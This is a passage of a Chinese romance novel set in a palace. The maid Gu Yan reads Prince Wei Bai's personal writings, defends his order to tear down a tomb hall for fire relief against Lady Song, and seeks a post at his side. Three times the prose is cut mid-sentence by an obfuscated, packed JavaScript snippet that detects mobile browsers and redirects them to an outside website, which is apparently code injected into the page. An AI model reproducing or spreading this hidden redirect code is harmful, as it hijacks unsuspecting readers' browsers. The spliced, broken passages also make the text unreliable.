卫柏低问:“满意了吗?” 顾雁认命般地继续闭眼:“殿下在说什么,奴婢听不懂。” 卫柏失笑:“你是孤的人,下次若有人擅自使唤你,直接告诉孤,不必如此大费周章。今日你不在书阁,竟是来做这些。” 说话时,他的温热气息拂过耳旁,将顾雁的心腔搅成一团乱麻。她下意识捏紧手中卷轴,拧得地上一滩积水。 他果然觉得她在用花招。 但她还想挣扎一下。 顾雁抬眸望他,顶着又快又乱的心跳,挑出理直气壮的说辞:“今日奴婢做好分内之职,才赶紧回去抄经。宋夫人要奉经,奴婢不敢怠慢。仅此而已,别无他想。而且昨日殿下让我出去。奴婢还以为,殿下不需要在旁侍墨。” 她无辜可怜的眼,楚楚动人,卫柏呼吸骤然加重:“我需……”他迅速顿住,忽又脸色凝冰:“你既达成目的,那就站好。” 他骤然松手。 “啊!”忽然失去倚托,顾雁惊得失声呼喊。她腰疼得没法自己站,忙抓紧卫柏胸口衣裳。眼看她又要摔倒,他飞快地再次托住她的腰。 她嗓音清越如莺,一声惊呼尤为动听。复又温香入怀,他浑身一僵。 “还真受伤了。”卫柏低声自语。 顾雁听得恼火,这不是很明显吗?需要这么缺德地试探? 现下又被他抱稳,她回过神,赶紧放开手,不再揪他衣裳。 “去传一顶小舆来。”卫柏道。 “是。”另一名侍从匆匆离开。 “叔仁,你先去校场,孤随后来。” “是。”严义疑惑地看了看抱在一起的两人,终是迈步走了。 石桥上只剩他们两个。 “抱歉唐突殿下,无奈腰上旧伤复发,身不由己。”她声音冰冷下来,抬眸却见卫柏瞳仁浓黑,像要吃了她似的。 你不愿扶我,我就愿让你扶? 她用力推开卫柏,要去扶石桥栏杆,却被他重新箍紧。 “既是旧伤复发,又何必逞□□柏声音亦冷下来。 他手劲极大,揽住她后背,把她圈在怀里。她又推一次,他却纹丝不动了,脸色还越发不好看。 这厮是不是有病? “是殿下要我站好,”顾雁本就腰疼难受,还被他找茬。恼意翻涌心头,实在不想再敷衍伪装。鉴于卫贼暂时不能得罪,她忍住涌入喉头的反驳,咬唇转头,不再说话。 她轻轻咬住的唇瓣,嫣红润泽,近在咫尺。她发丝移动,在颈边摩挲出轻柔的痒。腹腔无端冒出热意,卫柏深深吸气,偏头不再看她。这样一来,却更清晰地感觉到,她倚着自己的身子,正随呼吸缓缓起伏。于是他脊背愈发僵挺,只想把她放开。 但见她在怀中,一副惊慌气恼、咬牙忍痛的模样,他忽然又不想放了。 两股念头交缠,终是后者占了上风。 卫柏眼底的凉意化开,悄然把她揽得更紧了些。 11. 妙人 桥下溪水潺潺,林中风微鸟鸣,顾雁耳旁却是卫柏的心跳震响。他的温热怀抱,亦为她隔开秋风的凉意。 气恼渐渐平静,心情又开始复杂起来。 再怎么说,若非他及时出手,她定会摔倒在地。 罢了,刚进府,日后且得与卫贼周旋。她勉强说道:“无论如何,多谢殿下扶我。” 卫贼没有反应。 当顾雁以为他不愿理睬自己时,却听他喉中低沉短促的一声:“嗯。” 这时,远处传来吱呀声响,离开的侍从带着另两人,抬着一顶竹舆匆匆回来。卫柏忽然将她挪到栏边倚靠住,像甩开了烫手栗子似的,径直转身大步走了。 呵……顾雁朝他背影翻了个白眼,却也终于松了口气。侍从将竹舆停到她身边,请她坐上。她小心翼翼地扶着竹舆杆坐上去,被送回寝舍。 坐了一程,后腰疼痛缓解些许。她扶着墙,缓步挪到榻上趴着。四肢躯干仿佛变成竹节组成似的,只能一寸一寸舒展。半晌,她长长吁了口气。 好歹甩开了一桩麻烦。罢了,明日也不去拜见宋夫人了。以后就躲在西园里,宋夫人还能上门找事不成? 没多久,石榴登门来寻她说话。顾雁说了今日之事,诧异颖王竟然也在。石榴才想起来,颖王有时会和严都尉一道去校场练剑,宿卫值守房也在那边,今日定是碰巧撞上了。 一进门,石榴就瞧出容娘的腰不太爽利,便自告奋勇为她按摩:“我常为王媪揉肩,按一按就好受许多呢!” 顾雁正觉吃力,便欣然感谢。猝不及防间,一股重力压在腰上。“啊!”她失声痛喊,却觉腰间一股热流沿骨髓四散漫开,钝痛瞬间疏解了许多。 “好多了!”顾雁惊喜不已。石榴笑意吟吟,继续揉按:“腰伤容易反复,怪折磨人的。以后你需要时尽管找我便是。月姑姑也让我们互相拂照呢。” 顾雁心头一暖。两人有说有笑,愈发亲近起来。 —— 与此同时,王府校场。 卫柏打落一名宿卫的剑,剑锋直指对方眉心,剑身却在轻轻摇晃。 在旁抱臂观战的严义有些惊讶:“主公今日的剑招里,像有股火气。” 卫柏面色如霜,利落收剑入鞘。旁边侍从旋即接剑,奉上汗巾和水碗。卫柏拭过额头细汗,灌下一口水。他放下碗:“再来。” 严义摇头:“主公不若先休息片刻。” 卫柏没有应声。忽然,温香在怀的触感,她楚楚动人的模样又钻进脑海,他呼吸又重几分,只得再次端碗,将水一口气喝了个干净。 “罢了,”卫柏放碗,“今日就到这。” “咦,”严义诧异,“今日这么早就结束?” 卫柏提剑走远,冷冷扔下一句:“先消内火。” 他迈步疾走,沉着脸仿佛移动的冰山,后方侍从都紧张得不敢说话。 严义一头雾水,看着主公远去的背影纳闷:“回府时还好好的,怎么突然冒火气了。” —— 石榴帮忙揉按两次后,顾雁的腰疼好转许多。她不想耽搁时间,第二日只觉腰疼尚能忍耐,也能下地走动了,便早早去洒扫书阁。 沿书架一一擦拭过去,上面都是经史百家、诗赋文集、各家兵法,甚至还有天象星经、农经地理、志怪话本……就是没有奏报文书。 一直擦到木案后方时,她才发现书架底层有几个木匣,里面是厚厚几叠文稿。顾雁眸中一亮,忙按着腰,缓缓蹲下拿起几页。纸上字迹颇具筋骨,却是一篇写梨的文赋。 先说梨花如云雪漫天,再说梨果个大汁多,又说梨木可制榻案,总之梨树浑身是宝……这应是卫贼手稿。 顾雁不禁失望。看来这厮确实喜欢梨,还写文盛赞。然而看到结尾,她忽然一愣。 “余年九岁,长兄十三。时值余兄弟随父回乡,兄肩负余摘梨。母笑,言梨诸多妙用。声犹在耳。梨木常寿过百,何故人不及?”她轻声念完最后一句,没来由地,只觉满纸伤怀,漫入心腔。 原来卫贼九岁就和兄长一起随父征战了。这般大的孩子,回乡探母时应该很高兴吧。 怪不得,六年前他母亲和兄长去世时,他会种梨树。 小时候,她的父亲和兄长也常年在外,她便和娘亲留在老家。每次他们回来,兄长也驮着她上房爬树,扑鸟摘花,怎么玩都不恼。他们一走,她就格外伤心。 她还问娘亲:何时能和兄长一道随父亲出门呢? 娘亲便抱着她说:阿雁虽在家,但也能从书里长见识呢。 后来,是兄长接替父亲剿匪有功,出任江州牧,受封临江侯,才把她们接到江州治所,团聚在一起。 这么一看,卫贼仿佛是她想象过的另一种人生。 她连忙甩头,卫贼害她失去江州,她的母兄肯定还在,他的却不在了。两人到底不同,跟他照什么镜子! 于是她继续翻,匣里都是卫贼手稿。以前她只匆匆翻了翻《西园集》第一卷,就去抄了第五卷。他的大部分文章都没看过。 又是一篇《雍山行》。 “朝闻雉鸣,夜宿鸮逐。寒雨沾衣,驱驰行苦。草木凋敝,道掩白骨。彼何人哉,赴此不归路。” 顾雁讶然,卫贼竟然还有这种经历……忽然想起他看《狐姬夜游》时,脸上那抹哀戚。 原来他当真明白。 不知不觉,她坐到地上背靠书架,一边整理,一边认真看起这些手稿。 卫贼写的东西,跟以前背的经史文赋都不一样。春天的甜荠菜,秋天的野柿子,里坊的六博棋,田间的花鹌鹑,五花八门,有欢快,有戏谑,有伤怀。但凡他觉得有点意思,都能写一笔,她不禁莞尔。 写出这些文字之人,仿佛对世间充满好奇,亦能洞察万物,与之同悲同喜。这般妙人,她本来很有兴趣结识为友,若不是卫贼该多好。 偏偏是卫贼。 他又讨厌,又危险,她完全不想靠近!顾雁撇撇嘴。再翻,是一篇《临江杂感》。 “提兵赴江州……” 她猛地把文稿甩回匣子,兴致荡然无存。要死,还临江杂感,无非是野心和得意! 不看了! 草草翻完剩下的手稿,她还是没找到线索,便赶紧把木匣回归原位。看天色,窗外红霞迟暮,卫贼要回府了。 顾雁连忙收拾水盆抹布,准备笔墨。一顿忙活完,她退出书阁,外面的宿卫和侍从已经换值。她匆匆朝他们点头,端盆回到寝舍。 直到入夜,卫贼都没回西园。顾雁趴在榻枕上,揉着泛酸的腰,歪着头思量。 怪不得,他分明不信任她,还允她出入书阁。那里根本没藏机密。 当年娘亲和兄长究竟被如何安置,应有人报给卫贼。就看当时奏报是否存留。这两日她也了解到,王府前院各殿才是颖王会晤官员、处理朝政之地。看来,政务文书应该都存放在那边。 但她每日都被宿卫盯着,只能在西园书阁和仆役寝舍之间来回,根本进不了前院。 顾雁吁了口气。 晚上偷偷翻墙? 前院后宅之间的院墙那么高,她又不会飞。 要不趁卫贼在前院时,借口去找他,摸一摸那边的门道? 去找他…… 倚在他胸前的触感浮至眼前。他的心跳,他的话语和气息犹在耳旁。顾雁的脸骤然一烫。她埋下头,将枕头抱得更紧了些…… 阿雁,没什么的,他只是一把刀。 —— 深夜,王府前院范华殿。 卫柏负手而立,看着墙上舆图,面色凝重。 秋干物躁,梁城以北的昌安县发了山火灾情,地方寻求救济。他召集官员商议到现在,他们才刚散去。严义匆匆进门,递来一张小纸条。 卫柏展开一览,忽然挑眉。 “经小婢按揉,其腰伤好转。今日洒扫书阁,整理殿下手稿,翻看入神,时被逗笑。”他轻轻勾了勾唇角,将看完的纸条收入袖中,抬眸继续凝视舆图。 —— 第二日是先王忌日,卫贼和先王诸妾会去先王陵,许多仆从也跟去了。顾雁没被管事指派跟随,便留在房里准备新戏文,毕竟这才是她的正事。 下午,空旷一日的仆役寝舍又热闹起来,她便知颖王回府了。然而到傍晚,颖王都没回西园。她向其他人打听,才知颖王每每处理政务一晚,就直接住在前院寝殿,平常休憩时才回西园。有时颖王忙起来,半月不来西园也是常事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425960|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顾雁咬住唇暗自思量,不能这般干等,万一颖王派人去江州调查她,不知何时就会露馅,此地终究不宜久留,得尽快查探。几番思量后,她干脆拿起写好的戏文,往前院方向去。 出了西园,来到通往前院的内门,有宿卫将她拦住:“后宅侍婢不得擅入前院。” 顾雁捧起文稿:“殿下吩咐过,我必须每三日交一篇文稿,今日便是期限。若耽搁了被殿下怪罪,我便说是你们拦的!” 两名宿卫交换了一番目光。其中一个说道:“殿下正在范华殿议事。” “那我就在殿外候着,等殿下议完,我好交文稿。” 宿卫思量片刻,终说道:“跟我来。” 进来了! 顾雁按下心头振奋,忙跟随在引路的宿卫身后。走过重重院墙,她发现,原来第一次跟卫贼进府时,就走过一次前院。很快,他们来到范华殿门外庭院。宿卫示意她候在廊下。 忽听屋内有女子高声说话:“殿下禁止私祭也就罢了,怎能强令拆除司隶①境内所有玄阳祠?” 敢如此对颖王说话,唯有宋夫人了吧。顾雁暗暗撇嘴。 听张月说,宋夫人虽没了亲生儿子,但她背后的登县宋氏,是与汝平程氏齐名的士族之首。她父亲宋司徒位列三公,兄长乃御史中丞,是仅次于尚书仆射的朝中重臣。高夫人去世后,先王虽没明面上扶正宋夫人,但她实际地位已与正妻无异。 “请宋夫人息怒,”是陶羽在说话,“山火灾情严重,死伤者数百,无家可归者上千,眼下只能露天安置。入冬前必须重建房舍,但附近已无木可伐,外地拖运又耽误时日,只好用附近玄阳祠的木材赈灾救急。” 宋夫人冷笑:“赈灾?今日祭礼结束后,殿下令他们拆除先王陵殿,也是为赈灾?” 外面的顾雁心下巨震。 好家伙!卫贼竟然拆他爹的陵殿去赈灾?! 他的思路……竟如此清奇! 陶羽又道:“正是,拆几座玄阳祠远远不够,还得就近采买大量木材和粮食……呃,陵殿空置,正好得用。近年战乱方歇,百废待兴,殿下顾虑国库空虚,这些木材可省大量银钱,就能多发粮食,让灾民熬过寒冬。” “房子烧了让他们自己建啊!为何要动陵殿和玄阳祠!不敬神明会遭报应!陵殿又怎是空置,那是先王的体面!殿下以为这能搏个体恤百姓的好名声?这只会寒了先王的心!” “宋夫人请慎言!天色已晚,还请早些歇息吧。” “陶羽,我说什么轮得到你来指点?!殿下就不能应我一句?” 卫柏冷冷说道:“宋夫人之忧,孤已知晓。从云,送夫人回去休息。” “我宋氏扶持先王,可不是为了让卫家讨骂的!”宋夫人甩下这句,拂袖转身。 还得是宋夫人,金主说话就是有底气。顾雁在外面听得正起劲,忽见殿门推开,雍容高贵的中年妇人被仆妇搀扶着迈出门槛。 她连忙低头,却听宋夫人道:“这怎有个婢子?” “夫人,她就是那个容娘!”愤愤应声的仆妇,顾雁曾在宋夫人院里见过。后来听石榴说,那是宋夫人从娘家带来的郑媪。 顾雁忽然有点后悔。她刚刚应该转身就走,而不是留在这听墙角。都怪卫贼拆陵殿之举太过惊人,惹得她忍不住想多听一会儿。 一阵脚步声来到近前。 宋夫人道:“原来就是你。抬起头,让我瞧瞧。” 顾雁只好抬头,盈盈施礼:“见过宋夫人。” 宋夫人柳眉如黛山高耸。已过四旬的她,肌肤仍光滑细腻,保养得宜。见到顾雁样貌,她先是一怔,然后轻嗤:“怪不得,殿下身边来了个殊色妖女,才会被迷得失去神智,行事狂悖。” 顾雁听得无奈。 之前借卫贼来阻扰奉经,果然把宋夫人得罪了。这会宋夫人在颖王面前讨了没趣,又不能骂他,就对她指桑骂槐。 “这种惑主的祸害,就得好好教训。郑娘,赏她十个掌掴。” “是!” 顾雁惊愕地睁大眼。 她有病吧! 分明是想打卫贼耳光又不能,便拿她来出气! 她深吸一口气,缓缓说道:“夫人打我,没有道理。” 12. 前院 顾雁话音一落,正走过来的郑媪脚步一顿,面露惊诧。连倚在门口看热闹的陶羽,那双狐狸眼也微微一眯。 宋夫人极不悦:“好张狂的口气!如今我连管教府中婢子都没道理了?” “大胆刁婢,还敢顶嘴!”郑媪几步上前,扬手便打!一掌落下,手腕却被稳稳抓住。妇人用力一挣,竟挣脱不动。 顾雁紧箍妇人手腕,言语却十分温婉:“夫人说我惑主,影响殿下行事。可殿下此举,既彰先王躬行节俭之德,又显天君庇佑苍生之仁,何错之有?” 宋夫人一时噎住。顷刻,她又质问:“拆了陵殿和祭祠,如何尽孝,如何敬神?” “再宏伟的殿祠,也是一堆木头。尽孝敬神不在木头,而在人心。殿下遵循先王教诲,又广施神明之恩,才是真正心存孝义,心敬神明。”顾雁松开手,朝郑媪颔首致意。妇人揉着被箍得生疼的手腕,忿忿瞪来。 其实方才用力,顾雁的手腕也泛起酸了,她强忍着,在面上毫无痕迹。 “你……”宋夫人将顾雁上下打量了好几遍,“好个伶牙俐齿,惯会诡辩的奴婢,说话跟背书似的。我管教你,不需要与你辩道理。郑娘!” “从云,送宋夫人去内门!”还没等郑媪答话,屋内却传出卫柏冷冽的声音。 “遵命!”陶羽立马站好,来到宋夫人身边,做出请的手势。 郑媪迟疑回望。 宋夫人深吸一口气,轻蔑一笑:“罢了,我倒要看看,殿下对你的兴趣能有几日。走。”说罢她款款抬步。郑媪连忙回身上前搀扶。 顾雁躬身退后,给她们让出一条道来。她在心底叹气,这下把宋夫人得罪狠了。以后想在王府里安稳些,只能彻底绑在卫贼船上了。 唉,这都是什么事…… 这时陶羽经过身边,顾雁连忙行礼:“见过陶长史。”陶羽任王府长史,总领府中幕僚门客。他“嗯”了一声,向她投来意味深长的一瞥。 众人远去。屋里,卫柏又道:“进来。” 没来由地,顾雁心头一阵紧张。她掐了掐虎口,握紧文稿,才抬步进入范华殿。门口侍从投来同情目光,仿佛在让她自求多福。 殿内除了数张几案外,最醒目的就是墙边一张巨大的天下舆图。卫柏负手站在图前,面如寒霜。他尚穿着出席祭礼的石青色衮服,只脱下了九旒冕冠放在案上。 看来宋夫人的斥责,惹得他非常不高兴。顾雁怀着忐忑,走近低头行礼,奉上文稿:“殿下,三日之期已到,奴婢来送新戏文。” 卫柏没接文稿,只问:“腰伤好了?” “回殿下,好多了。” 许久,他没再说话。顾雁心下疑惑,悄然抬眸,却见他正沉沉注视着自己。卫柏忽然道:“孤本以为,你若非来自程氏,便来自宋氏。如今看来,竟似不是。” 顾雁一懵,瞬间又意识到,看来卫贼很戒备那两大士族。梁城这潭深水,远非表面那般平静。她柔声应道:“那是自然。否则奴婢就不会先得罪程二公子,又得罪宋夫人了。” 卫柏伸手抬起她的下颌,强迫她抬头,接住他审视的目光。他拇指微动,指腹轻轻摩挲过她的脸颊。 “那你到底从何而来?”他声音暗沉了几分。 离他太近,她的心跳开始无法控制地加快:“奴婢来自江州。” “江州……”卫柏失笑,“难不成是顾麟送来的人?” 顾雁浑身一震! 兄长! 她胸膛起伏,却竭力保持着平静面色:“奴婢也不认得临江侯。” 他瞳眸微敛:“你还知道临江侯叫顾麟?” “听鄢老夫人提过。” 卫柏想了想:“也是,顾麟现在也没法送人。” 顾雁适时举高文稿。他终于松开手,拿走文稿。 她松了口气,心中却掀起滔天巨浪! 听卫贼语气,兄长应该还活着!娘亲应与他在一起!!太好了!!! 她暗暗揪紧衣袖,忽觉暗无天日的漫漫长路,前方终于亮起一缕曦光!她浑身血液几欲沸腾,只得垂下眼睫,掩住兴奋。 不过,兄长现在没法送人了,又是什么意思?下狱?幽禁?还是流放?想到这,顾雁心里又打起鼓。 卫柏一目十行地看完文稿,转身将它丢在案上:“一看便是草草写就,没花心思。孤不想看。” 顾雁回过神,在心中翻了个白眼,嘴上却委屈:“殿下上次问起方士去处,奴婢才写了方士捉妖。不知殿下想看什么?” 他坐下倚着凭几,瞧着她问:“你说呢?” 她哪知道! 顾雁简直不想理他。但眼下她怀着目的,只好回想起他的话。好像他说,以为狐姬和方士有后文……她试探着问:“奴婢下次写,方士重遇狐姬可好?” 卫柏眸中寒意稍退:“写好再给孤看。” “是,”顾雁颔首应下。 献完文稿,她本来该回西园了。但好不容易进了前院,还知道了兄长活着,她得再进一步…… 顶着砰砰直响的心跳,顾雁绕过木案,坐到卫柏旁边。她抿了抿唇,说道:“殿下近来政务繁忙,无暇回西园。奴婢便想,能否到前院,到殿下身边侍墨?” 眼下真在故意接近卫贼了,她该演得再自然些。顾雁缓缓抬眸,触到他的锐利目光,羽睫不禁一颤。唉,卫贼光是坐在面前,便让她压力巨大。她不自觉捏起衣袖。 卫柏撑着额角的手轻轻一蜷,问:“为何想到孤身边?” 顾雁飞快思量,这跟应聘招工时,回答东家为何来此做工一样,无非编得好听些。 “奴婢读殿下文稿时,只觉字里行间里,有个妙趣横生的灵魂。他好奇万物,悲悯众生,却困于乱世不得自由,需挑起万钧重担,踽踽前行。” 卫柏瞳仁猛然一缩,眸中墨色荡漾,倏尔浓重许多。 这是一半真话。顾雁忍着恶心,美化了一些辞藻。譬如把心中所想的——“非要挑起战祸”——换成“需挑起万钧重担”。 若他只是那妙人,而不是攻打江州的卫贼,她本是很愿结交的。所以她继续半真半假地说:“奴婢那时便向往见到殿下。如今有幸侍墨,奴婢便想……时刻追随殿下左右。” 卫柏目光颤动,仍不言语。 顾雁有些忐忑。卫贼不吃拍马屁那一套,程二公子把《西园集》吹成神品,卫贼却当众批评了他。也不知她理解的卫贼诗文,是否遂他的意。 卫柏忽然问:“前院不缺侍墨小厮,你到孤身边能做什么?” 有戏! 顾雁眼中一亮。 但她能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425961|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么……卫贼又缺什么呢…… 他不在乎外人评价,似乎只在乎先王看法。但他竟又下令拆除先王陵殿……是因为……比起名声,他更重视灾民性命? 乱世当行非常之道。 卫贼之令看似狂悖,却能最快救灾。 顾雁的心绪又复杂起来……若论务实,放眼天下诸侯,竟皆不如卫贼。 她想了想,道:“奴婢能帮殿下编故事。” 卫柏失笑。 她轻声叹息:“《涧邑行》里,殿下孝心真挚,眼下却遭误解。奴婢颇为不平。以奴婢浅薄之见,如何尽孝,如何敬神,都是故事。先贤能编,殿下也能编。” 卫柏眯起眼眸,看她的神情愈发认真起来。 “政令不被理解,施行便不通达。不过,殿下若得玄阳天君和先王亲自托梦,他人便无话可说了。编这种故事,奴婢最拿手。” “口出狂言,大逆不道。”卫柏缓缓道。 “殿下都下令拆陵殿和神祠了,又怎会在意几句狂言?”顾雁浅浅一笑。 卫柏深深看着她。忽然,他勾起唇角,继而放声朗笑,起身一展衮服宽袖,阔步走进了偏殿。 喂……顾雁一头雾水地看他消失在偏殿门后。 能不能进前院侍墨,你倒是给个话啊! 殿内只剩她一个人,顾雁起身伸了个懒腰,左右舒展,揉起后腰。腰疼没好透,方才坐半天,难受死了。她趁机四顾观察。殿里设有屏风、几案和坐垫,再是那张巨大的舆图。没有放文书的地方,她暗自吁气。 半晌后,偏殿方向脚步声起。顾雁连忙放下揉腰的手,转身俯首站好:“殿下。” 卫柏换了身青色常服,目光划过她的腰:“腰还疼?”他声音柔和了许多。 “嗯。” “回西园。”卫柏朝门外走去。顾雁连忙跟上。 外面天色昏暗,红霞已被铁青色天幕吞噬大半。侍从们已备好一顶竹舆,等在院中。卫柏停在竹舆前,偏头看她:“坐吗?” 这是颖王舆座。院中几名侍从和宿卫一齐震惊望向她。 顾雁当即退后一步:“不!” 卫柏又问:“今日能走路?” 顾雁忙点头:“能。” 废话,不能走路的话,她怎么过来的。 卫柏挥手,让侍从撤走竹舆,又接过侍从手中灯笼,让他们先走了。他举起灯笼,昏黄光线映着他的眉眼,在他瞳里溅入光亮。 “陪孤走走。” “是,”顾雁只好应道。 范华殿离西园不远,但他们走到园中那条石径时,天色已彻底暗沉。暮霭消失,月色未现,假山后的树林和池塘漆黑一片,唯余卫柏手中的灯笼,照亮周围一方地面。 径上青石光滑,顾雁怕又脚滑摔倒,悄然放慢脚步。 卫柏也走得很慢,与她并肩而行。 到底让不让她进前院侍墨啊……他也不说话,她只觉不安。天地间,只剩窸窣虫鸣和两人脚步。远处书阁窗户忽然透出光亮,石径远处显出模糊的轮廓,想是其他侍从先去燃了烛。 顾雁忽然反应过来,路上竟是卫柏一直在为她提灯。是说总觉哪里奇怪,一紧张都给忘了。她忙道:“殿下,还是我来……” 话未说完,她突然被卫柏牵住手腕。 13. 真心 顾雁心中巨震,转头看向卫柏:“殿下?!” 他平静说道:“石径路滑,你若摔倒,又走不动路,好好扶着。” 但他哪是在扶她。 她穿着窄袖襦裙,他径直握住她手腕,没隔衣袖。 他的手很大,在她腕上握了一圈,还能交握手指。他皮肤粗粝,磨得她腕中有些痒。被他牵着往前走,她只觉全身愈发僵硬,仿佛所有触感,都集中到了手腕传来的热度。 她的心海,已成了一锅沸汤。 除了父亲和兄长,她从未被其他郎君这般牵过手!还是她最讨厌的卫贼! 她转头瞪他,却见他目视前方,缓缓踱步,面色平静得毫无异常。 难道他真在扶她,只是不拘小节? 她迅速眨眼。也是,若开口问他什么意思,确实显得自作多情。 啊啊啊啊!但她还是不要被卫贼牵手! 沸汤继续咕嘟,冒着惊疑、慌张、嗔恼,却无往日抄到谄媚文章时的恶心。她只想往回抽手,不料手刚一动,就被他迅速握紧。 “好好走路。”卫柏沉声道。 “殿下,我可以自己走。”顾雁嘟囔。 卫柏却再没反应。 眼看石径马上到尽头,顾雁再次强调:“殿下,前面都是砖石地,不滑了。奴婢可以自己走。” 她猛抽手腕,却被卫柏再次紧握,把她整个人都拉到近前。 猝不及防间,顾雁撞进他坚实的怀中。 卫柏垂眸看她。银月冒出树梢,皎白月光落下。她一抬头,便跌进了他盛着月光的眼眸里。 “殿下?”她本来满心疑惑想问他作甚,却骤见他近在咫尺的脸,只好赶紧偏头。呵,就算这张脸如何英武,她也不会忘记是卫贼。 卫柏眸里除了点点碎光,便是浓得化不开的黑雾:“你说想到孤身边,可是真心?” 低沉的玉磬之声钻进耳里,飘进心海,搅起绵绵浪涛。顾雁努力保持着冷静。从诗文中看,此人细腻易伤。从现实里看,此人敏锐多疑。看来卫贼仍不放心她去前院,要反复考问。 顾雁毫不犹豫地答:“奴婢想到殿下身边,字字真心。” 她的诚挚神情映入卫柏眼帘。灯笼里烛火晃动,为她披上一层昏黄光晕。夜风徐徐,扬起她鬓角的几缕碎发。她这般轻盈柔美,仿佛随风摇曳的池中荷花,翩然若仙。但有时,她分明更像扎根峭壁的青松,迎着逆风也不弯不折,生机勃发。 她说话时,润泽的唇一张一合,又轻轻抿住,教他竟想……竟想将那包裹莲蓬的荷瓣逐一剥开,再将那苍劲挺拔的青松搬进庭室,日夜把玩。 被无休止的战事和政务,磋磨得无心眷恋的欲望,竟被她的一句话,轻易掀开。 卫柏喉头滚动。 但他的理智,亦如秋夜的风,总能吹凉蠢蠢欲动的火苗。 她的气度,连三公之后的宋夫人比之都不及。她的见解,更是遥遥甩开程谦那个蠢货。这样的她,却是流民。 想到殿下身边……字字真心……她终于开始展露意图了么? 那他便要好好看看,她心里到底装着什么。 卫柏弯起狭长的眼:“你既读过孤的文稿,孤想听你逐一评议。” 什么? 怎么还逐篇考问!这厮对前院侍墨婢要求这么高! 进个前院真不容易…… “既然殿下想听,奴婢只好献丑了。但今日天色已晚,”顾雁一边说着,一边试图抽回手腕,“殿下不如……” “就今晚。”卫柏的声音不容置疑。他松开手,踏上书阁前的砖石地面。顾雁揉按着手腕,撇嘴看着他的背影,压下一肚子腹诽。 西园书阁最深处,临窗放着一张宽榻,四周围着软囊,中央置一张榻几。顾雁脱履进屋后,卫柏已靠在榻上,还把灯台和装手稿的木匣都摆到了榻几上。 她来到榻边,正待席地而坐,却见卫柏用眼神示意榻几对面:“坐那。” 顾雁面露迟疑。虽然这张榻很大,榻几两边各容一人躺下还绰绰有余。但她着实不想跟卫贼同榻!只是……还在隐隐酸痛的后腰,正提醒她千万不要久坐,而榻上摆着一圈软囊。 两相斗争了片刻,她长吁一口气,提裙坐到榻上。 “多谢殿□□恤。”她婉言颔首致礼。 不就是同榻而坐,罢了,讨厌卫贼归讨厌卫贼,也不必委屈自己。 静静盯着她的卫柏,见她终于慢慢爬上榻,眼中一抹温柔徐徐漾开。 顾雁拿起一篇文稿,刚准备开口,又想起什么,放稿说道:“殿下,奴婢见识浅薄,若说得有误,还请殿下千万莫怪罪。”她顿了顿,加上一句,“也莫赶走奴婢。” 卫柏微微弯眼:“不怪罪,亦不逐你,直抒胸臆即可。” 顾雁深吸一口气,抬起文稿看起来。 “此篇讲述秋柿挂于枯枝,同生之叶、周围草木都渐次凋零,它独自留下入冬。奴婢觉得……殿下是借秋柿之叹,伤怀世事变迁,繁华易逝。” 卫柏淡淡“嗯”了一声。 顾雁偏头想了想,又道:“虽然写得很隐晦,但我还觉得,独留的柿子其实是指,殿下自己。” 卫柏瞳仁一缩,没有即刻反应。片刻,他才轻轻“嗯”了一声。 顾雁又翻开下一篇。一开始,她脊背挺直,正坐榻上,说话几经斟酌。卫贼听得认真,不时回应。但看着这些诗文,她渐渐感触良多,便不自觉放松下来。 “殿下小时候在老宅,随母亲种了很多梨树吧?” “很多。” “长大了,总是容易怀念过去。高夫人若知殿下如今珍爱梨树,会高兴的。” “嗯。” 说着说着,她渐渐斜倚在厚实的软囊上,时而垂眸凝思,时而轻启朱唇。卫柏的回应也越来越多。 “雍山行军时的雨很大吧。” “辎重车都陷进泥里了,还要与兵卒一起淋雨推车。” “怪不得,殿下连写四首《雍山行》,读之仿佛寒雨扑面,冷风瑟瑟。” “那时只想尽快安定雍州,使后方无忧,倒也不觉痛苦。” 顾雁沉默了片刻,又问:“那到晚上岂非更冷?” “与严义贴在一起睡。” “啊?!” “只是挨在一处取暖……别想多了。” “奴婢没有想多。” “你脸上表情并非如此。” 顾雁抬起文稿,掩住面容:“奴婢再换一篇。” 还没说过的文稿铺在面前,说完的被她撤到一旁,有些拿不下的搁在身侧。他写得太多,稍微铺开便满满一榻。 “奴婢在鄢家见过公子们戏六博。但老夫人不让他们多玩,说博局近赌,勿要因其丧志。奴婢倒觉得偶尔怡情也无伤大雅。殿下这篇,把博戏写得只见意趣,不见赌性。” “你会玩吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425962|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不会。” “改日教你。” “真的?”其实她在市集见过,听娘亲说过这话,所以只知六博有趣,却不会玩。 “嗯。” “多谢殿下。”顾雁浅浅一笑。 